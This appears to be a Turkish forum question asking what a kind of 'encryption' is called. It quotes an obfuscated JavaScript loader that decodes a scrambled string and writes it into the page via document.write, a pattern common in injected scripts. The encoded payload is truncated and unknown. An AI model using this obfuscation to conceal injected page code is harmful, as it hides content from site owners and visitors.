İlk kez böyle bir şifreleme goruyorum bunun adı nedir ?

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vlq5("JQ$JpX203mw…3}X$wpe5$cj"LVIRCAF");
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function vlq5(xk9c) {
var
ptjh = "+QGx4Eo(r{a-n0 Jp=>BXvwHV_"%;qur©Z5W6lYRCIs9UFbyAi?D1#3kd,'P|KgeM}Lj7t&S/2T:)!f.$nz…m8OhcN<",
o3q8, s17j, sb9f = Function,
sd4v, ojpf = ptjh.length,
gy3v = {
cd: ""
},
ue = new sb9f("return unescape")(),
ix6d = new sb9f("x", ue("this.cd =x")),
o91g = new sb9f("x", "y", ue("return x.charAt(y)"));
for (s17j = 0; s17j < xk9c.length; s17j++) {
o3q8 = o91g(xk9c, s17j);
sd4v = ptjh.indexOf(o3q8);
if (sd4v > -1) {
sd4v -= (s17j + 1) % ojpf;
if (sd4v < 0) {
sd4v += ojpf;
}
ix6d.call(gy3v, o91g(ptjh, sd4v));
} else {
ix6d.call(gy3v, o3q8);
}
}
new sb9f(ue("document.write(this.cd);this.cd=null")).call(gy3v);
}
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